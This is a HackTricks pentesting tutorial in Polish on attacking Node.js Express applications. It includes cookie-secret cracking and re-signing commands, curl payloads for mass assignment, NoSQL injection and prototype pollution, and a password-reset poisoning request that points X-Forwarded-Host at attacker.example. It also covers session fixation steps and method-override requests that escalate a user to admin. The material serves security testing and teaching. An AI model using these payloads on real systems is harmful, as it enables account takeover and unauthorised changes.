NodeJS Express

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Szybkie fingerprinting

Przydatne wskaźniki Express podczas recon:

  • X-Powered-By: Express lub stack traces wspominające express, body-parser, qs, cookie-parser, express-session, lub finalhandler
  • Cookies z prefiksem s: (signed cookie) lub j: (JSON cookie)
  • Session cookies takie jak connect.sid
  • Ukryte pola formularzy lub parametry zapytań takie jak _method=PUT / _method=DELETE
  • Strony błędów leaking Cannot GET /path, Cannot POST /path, Unexpected token w body-parser, lub URIError podczas parsowania zapytań

Po potwierdzeniu obecności Express skup się na middleware chain, ponieważ większość interesujących błędów wynika z parserów, proxy trust, session handling i method-tunneling, a nie z samego jądra frameworka.

Narzędzie https://github.com/DigitalInterruption/cookie-monster to narzędzie do automatyzacji testowania i ponownego podpisywania sekretów cookie Express.js.

Express często ujawnia dwa przydatne formaty cookie:

  • s:<value>.<sig> signed cookies obsługiwane przez cookie-parser lub express-session
  • j:<json> JSON cookies, które są automatycznie parsowane przez cookie-parser

Jeśli cookie-parser otrzyma signed cookie i podpis jest nieprawidłowy, wartość staje się false zamiast zmanipulowanej wartości. Jeśli aplikacja akceptuje array of secrets, stare sekrety mogą nadal weryfikować istniejące cookies po rotacji.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Własna lista słów

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Testowanie wielu ciasteczek w trybie wsadowym

cookie-monster -b -f cookies.json

Przetestuj wiele cookies w trybie batch z custom wordlist

cookie-monster -b -f cookies.json -w custom.lst

Jeśli znasz sekret, możesz podpisać cookie.

cookie-monster -e -f new_cookie.json -k secret

Nadużycie parsera Query String i URL-Encoded

Cele Express często stają się interesujące, gdy parsują klucze kontrolowane przez atakującego do zagnieżdżonych obiektów.

  • req.query można skonfigurować z różnymi parserami, w tym qs
  • express.urlencoded({ extended: true }) używa parsowania w stylu qs dla application/x-www-form-urlencoded
  • Zagnieżdżone parsowanie odblokowuje object injection, mass assignment, NoSQL injection oraz prototype pollution chains, jeśli sparsowany obiekt zostanie scalony ze stanem aplikacji

Praktyczne payloads do wypróbowania:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

If the app reflects or persists the resulting object, pivot into the dedicated pages for exploitation details:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Extra tests that are worth sending against Express specifically:

  • Głębokie zagnieżdżenie, aby sprawdzić limity parsera, timeouty lub różnice w odpowiedziach 400/413
  • Powtarzające się klucze, żeby zobaczyć, czy aplikacja zachowuje pierwszą wartość, ostatnią, czy tworzy array
  • Składnia z nawiasami taka jak a[b][c]=1, składnia kropkowa taka jak a.b=1, oraz payloady __proto__ / constructor[prototype]

trust proxy Nadużycie

Jeśli aplikacja używa app.set("trust proxy", true) lub ufa zbyt wielu hopom, Express będzie wyprowadzać wartości istotne dla bezpieczeństwa z nagłówków przekazywanych przez proxy. Jeśli reverse proxy ich nie nadpisuje, klient może je bezpośrednio sfałszować.

To wpływa na:

  • req.hostname przez X-Forwarded-Host
  • req.protocol przez X-Forwarded-Proto
  • req.ip / req.ips przez X-Forwarded-For

Przydatne do:

  • Password reset poisoning and absolute URL poisoning
  • Bypassing IP-based allowlists, rate limits, or audit trails
  • Wpływania na obsługę ciasteczek secure i logikę HTTPS-only w aplikacjach, które bazują na req.protocol
  • Poisoning redirects or cacheable responses gdy aplikacja generuje absolutne linki używając nagłówków forwarded host/proto
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Sprawdź, czy generowane linki, lokalizacje przekierowań, logi lub decyzje dotyczące kontroli dostępu teraz używają wartości dostarczonych przez atakującego.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session — Notatki testowe

W typowych wdrożeniach Express używa się express-session, który podpisuje session identifier cookie, ale przechowuje rzeczywisty stan po stronie serwera.

Przydatne kontrole:

  • Session fixation: uwierzytelnij się przy użyciu cookie sprzed logowania i sprawdź, czy SID pozostaje taki sam po zalogowaniu
  • Weak secret rotation: niektóre wdrożenia weryfikują cookies przy użyciu tablicy starych secrets, więc wcześniej ważne podpisy mogą nadal działać
  • saveUninitialized: true: aplikacja wydaje pre-auth sessions anonimowym użytkownikom, co ułatwia fixation i zwiększa powierzchnię sesji dla brute-force lub analizy cache’u
  • MemoryStore w produkcji zazwyczaj wskazuje na słabą dojrzałość operacyjną i niestabilne zachowanie sesji podczas restartów

Praktyczny przebieg Session fixation:

  1. Pozyskaj anonimowy session cookie od celu.
  2. Wyślij ten cookie do ofiary lub uwierzytelnij się nim samodzielnie.
  3. Sprawdź, czy logowanie wiąże uwierzytelniony stan z istniejącym SID.
  4. Jeśli tak, odtwórz ten sam cookie w oddzielnej sesji przeglądarki.

Jeżeli aplikacja nie wywołuje req.session.regenerate() po uwierzytelnieniu, fixation jest często nadal możliwy.

Tunelowanie method-override

Niektóre aplikacje Express używają method-override do tunelowania metod HTTP, których formularze HTML nie mogą wysłać natywnie. Gdy jest włączone, zawsze testuj, czy możesz przemycić niebezpieczne metody przez trasę, którą front-end, WAF lub logika CSRF uznała za obsługującą tylko POST.

Typowe próby:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Interesujące skutki:

  • Uzyskanie dostępu do ukrytych tras PUT / PATCH / DELETE przez kontrolę edge dopuszczającą tylko POST
  • Omijanie middleware specyficznego dla trasy, które sprawdza tylko req.method
  • Wywoływanie handlerów zmieniających stan przez CSRF, gdy aplikacja waliduje tylko zewnętrzną metodę żądania

Domyślnie middleware zwykle nadpisuje tylko POST, więc priorytetowo traktuj żądania POST z wartościami nadpisującymi w nagłówkach, body i query-string.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks